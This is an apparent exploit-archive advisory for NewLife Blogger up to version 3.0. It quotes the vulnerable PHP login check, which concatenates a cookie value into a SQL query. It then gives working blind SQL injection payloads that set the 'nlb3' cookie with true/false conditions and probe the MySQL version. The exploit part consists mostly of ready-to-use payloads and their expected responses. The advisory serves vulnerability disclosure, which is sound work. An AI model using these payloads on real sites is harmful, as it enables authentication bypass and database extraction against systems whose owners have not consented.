newlife-cookiesql.txt

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NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability   
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$ Program: NewLife Blogger  
$ Version: <= 3.0  
$ File affected: system/nlb_user.class.php  
$ Download: http://sourceforge.net/projects/nlb/  
  
  
Found by Pepelux <pepelux[at]enye-sec.org>  
eNYe-Sec - www.enye-sec.org  
  
  
Cookie format is:  
nlb3=7::96e79218965eb72c92a549dd5a330112  
nlb3=iduser::md5 pass  
  
--Bug --  
  
143. function checkLogin( ) {  
144. // loing check  
145. if( isset( $_COOKIE['nlb3'] ) ) {  
146. $data = explode( '::', $_COOKIE['nlb3'] );  
147. $id = $data[0];  
148. $pass = $data[1];  
149. $fromdb = $this->sql->getArray('SELECT password FROM ' . db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;');  
150. if( $pass === $fromdb['password'] ) {  
151. $this->setid( $id );  
152. $this->isLogedIn = true;  
153. } else {  
154. $this->isLogedIn = false;  
155. }  
156. }  
157. // we also check for banned users  
158. $this->checkBanned();  
159. }  
  
  
-- Exploit --  
  
True/false method to blind mysql injection. Examples:  
  
javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"  
Response: You appears as logged in  
  
javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112"  
Response: You appears as not logged in  
  
javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112  
Response: You appears as logged in if MySQL version is 4  
  
javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112  
Response: You appears as logged in if MySQL version is 5  
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